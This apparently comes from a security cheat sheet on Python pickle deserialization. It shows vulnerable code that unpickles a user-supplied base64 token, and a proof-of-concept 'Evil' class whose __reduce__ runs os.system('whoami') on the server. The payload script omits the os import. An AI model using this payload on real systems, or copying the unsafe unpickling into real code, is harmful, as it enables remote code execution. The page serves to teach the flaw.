50 lines
1.5 KiB
Markdown
50 lines
1.5 KiB
Markdown
# Python Deserialization
|
|
|
|
## Pickle
|
|
|
|
The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
|
|
|
|
```python
|
|
import cPickle
|
|
from base64 import b64encode, b64decode
|
|
|
|
class User:
|
|
def __init__(self):
|
|
self.username = "anonymous"
|
|
self.password = "anonymous"
|
|
self.rank = "guest"
|
|
|
|
h = User()
|
|
auth_token = b64encode(cPickle.dumps(h))
|
|
print("Your Auth Token : {}").format(auth_token)
|
|
```
|
|
|
|
The vulnerability is introduced when a token is loaded from an user input.
|
|
|
|
```python
|
|
new_token = raw_input("New Auth Token : ")
|
|
token = cPickle.loads(b64decode(new_token))
|
|
print "Welcome {}".format(token.username)
|
|
```
|
|
|
|
Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server.
|
|
|
|
> The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
|
|
|
|
```python
|
|
import cPickle
|
|
from base64 import b64encode, b64decode
|
|
|
|
class Evil(object):
|
|
def __reduce__(self):
|
|
return (os.system,("whoami",))
|
|
|
|
e = Evil()
|
|
evil_token = b64encode(cPickle.dumps(e))
|
|
print("Your Evil Token : {}").format(evil_token)
|
|
```
|
|
|
|
## References
|
|
|
|
* [Exploiting misuse of Python's "pickle" - Mar 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
|
|
* [Python Pickle Injection - Apr 30, 2017](http://xhyumiracle.com/python-pickle-injection/) |